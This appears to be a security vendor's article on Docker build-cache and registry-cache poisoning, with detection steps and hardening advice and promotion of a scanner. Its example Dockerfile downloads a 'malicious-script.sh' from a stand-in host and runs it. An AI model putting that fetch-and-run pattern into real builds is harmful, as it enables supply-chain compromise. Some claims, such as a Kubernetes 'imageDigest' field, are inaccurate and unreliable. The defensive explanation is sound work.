HIGH cache poisoningdocker

Cache Poisoning on Docker

How Cache Poisoning Manifests in Docker

Cache poisoning in Docker contexts targets two primary surfaces: the build cache during image construction and the registry cache serving images to clients. Unlike generic HTTP cache poisoning, Docker-specific attack vectors exploit the immutable layer model and registry API design.

Build Cache Poisoning

Docker's layer caching reuses intermediate layers when a Dockerfile instruction and its context haven't changed. An attacker who can influence the build context (e.g., via a compromised dependency or malicious ADD/COPY source) can poison the cache with a malicious layer. Subsequent builds that reuse this cache will inherit the poisoned layer, even if the Dockerfile itself is unchanged. This is particularly dangerous in CI/CD pipelines where base images or dependencies are pulled from public registries.

Example attack pattern:

# Vulnerable Dockerfile snippet
FROM alpine:3.18
# Attacker compromises a dependency in a cached layer
ADD https://example.com/malicious-script.sh /tmp/
RUN chmod +x /tmp/malicious-script.sh && /tmp/malicious-script.sh
# Later instructions reuse the cached layer if the ADD line hasn't changed
RUN echo "benign operation"

If malicious-script.sh is served from a compromised or attacker-controlled server during the first build, the resulting layer is cached. Any future build using this Dockerfile (even with updated base images) will reuse the poisoned layer until the cache is invalidated.

Registry Cache Poisoning

Docker registries (Docker Hub, Harbor, ECR) expose HTTP APIs (e.g., /v2/_catalog, /v2/<name>/tags/list) that may be cached by intermediate proxies or CDNs. An attacker can poison these caches by:

  • Sending requests with cacheable headers (e.g., Cache-Control: public, max-age=3600) and malicious payloads to registry API endpoints.
  • Exploiting misconfigured reverse proxies that cache authenticated responses or vary headers incorrectly.
  • Manipulating layer digests in manifest responses if the registry does not strictly validate integrity.

A poisoned registry cache could serve a malicious manifest or layer blob to pull requests, leading to compromised containers in production. This aligns with OWASP API Security risks like Security Misconfiguration and Broken Object Property Authorization when the registry fails to validate that a requested tag resolves to an authorized, untampered image.

Docker-Specific Detection

Detecting cache poisoning requires examining both Dockerfile patterns and registry API behavior. middleBrick scans the HTTP API surface of Docker registries (e.g., https://registry.hub.docker.com/v2/) to identify cache-related vulnerabilities without needing credentials for public registries.

Registry API Scanning

middleBrick tests for:

  • Missing or weak cache-control headers on sensitive endpoints (e.g., manifest and tag list APIs).
  • Lack of ETag/If-None-Match validation that could allow cache poisoning via header manipulation.
  • Improper Vary header usage that might cause authentication tokens to be cached and served to other users.
  • Unauthenticated access to private image metadata that could facilitate targeted poisoning.

Example detection via middleBrick scan:

middlebrick scan https://registry.hub.docker.com/v2/_catalog

A typical finding might report: "Cache-Control header missing on /v2/_catalog endpoint, allowing intermediate proxies to cache responses for up to 24 hours (observed via Age header)."

Dockerfile Pattern Analysis

While middleBrick focuses on runtime API scanning, it can correlate OpenAPI/Swagger specs if the registry publishes one (rare). More commonly, detection involves:

  • Reviewing Dockerfiles for ADD from remote URLs without checksum verification.
  • Checking CI/CD logs for cache reuse indicators (Using cache messages).
  • Verifying image digests in deployment manifests (Kubernetes imageDigest field) to ensure pulled images match expected hashes.

Manual check with Docker CLI:

# Inspect cached layers for a local image
docker history <image-name> | grep -i 'add\|copy'
# Verify pulled image digest matches registry
docker inspect <image-name> | jq '.[0].RepoDigests'

Docker-Specific Remediation

Remediation combines Docker-native features, registry configuration, and pipeline hardening. The goal is to eliminate cache poisoning windows and ensure integrity.

1. Disable Build Cache in CI/CD

For critical security builds, use --no-cache to force fresh layers. This prevents reuse of potentially poisoned local cache.

# In CI/CD pipeline (e.g., GitHub Actions)
- run: docker build --no-cache -t myapp:${{ github.sha }} .

Trade-off: Slower builds but guarantees clean layers. For less critical builds, use --cache-from with trusted, signed base images only.

2. Enforce Image Digests and Content Trust

Never pull by mutable tags (e.g., alpine:latest). Use immutable digests and enable Docker Content Trust (DCT) to require signed images.

# Enable DCT in environment
export DOCKER_CONTENT_TRUST=1
# Pull by digest (output shows "Signatures" if DCT is on)
docker pull alpine@sha256:...
# In Kubernetes, use imageDigest in Deployment
image: alpine@sha256:...

DCT uses Notary to verify signatures against a trusted root. This prevents registry cache poisoning from serving tampered manifests because the digest won't match the signed metadata.

3. Registry Hardening

  • Disable caching for API endpoints in registry reverse proxy (e.g., Nginx):
    location /v2/ {
      add_header Cache-Control "no-store, no-cache, must-revalidate";
      # ... proxy_pass to registry
    }
  • Enforce authentication on all registry API endpoints, even for public repositories (read-only tokens).
  • Enable content trust at the registry level (Harbor, ECR support Notary) to require signatures for pushes/pulls.

4. Multi-Stage Builds to Minimize Cache

Isolate untrusted operations in separate stages, reducing the blast radius of a poisoned cache.

FROM alpine as builder
# Untrusted operations with network access
ADD https://example.com/deps.tar.gz /deps
RUN extract-deps.sh

FROM scratch
COPY --from=builder /deps /app
# Final stage has no network access, only copies artifacts

If the builder stage is poisoned, the final stage only copies verified artifacts, and the poisoned layer isn't in the final image's cache path.

5. Continuous Monitoring

Use middleBrick's Pro plan with scheduled scans of your registry API endpoints. Set up alerts for new cache-related findings. Integrate with GitHub Actions to fail builds if a scan detects weak cache headers on your registry's API.

# Example GitHub Action step
- name: Scan registry API
  run: middlebrick scan ${{ env.REGISTRY_API_URL }} --format json
  # Fail if severity exceeds threshold
  continue-on-error: false

This ensures registry configuration drifts are caught before production deployment.

Frequently Asked Questions

How does cache poisoning in Docker differ from traditional HTTP cache poisoning?
Docker cache poisoning targets two distinct surfaces: (1) the build cache where malicious layers are reused across builds, and (2) the registry API cache where proxy/CDN caches serve tampered image manifests or metadata. Traditional HTTP cache poisoning typically poisons web caches to serve malicious HTML/JS to users. In Docker, the impact is compromised container images that execute in production, often with elevated privileges. The attack vectors involve Dockerfile instructions (ADD/COPY from remote URLs) and registry API endpoint caching misconfigurations.
Can middleBrick scan private Docker registries for cache poisoning vulnerabilities?
Yes. middleBrick scans any accessible HTTP API endpoint, including private Docker registries. For authenticated endpoints, you can provide credentials (e.g., via --header "Authorization: Bearer <token>" in the CLI) to test the authenticated attack surface. The scanner checks for cache-control misconfigurations, header validation issues, and other API-level weaknesses that could lead to registry cache poisoning. Without credentials, it will only test the unauthenticated surface (e.g., public repository metadata).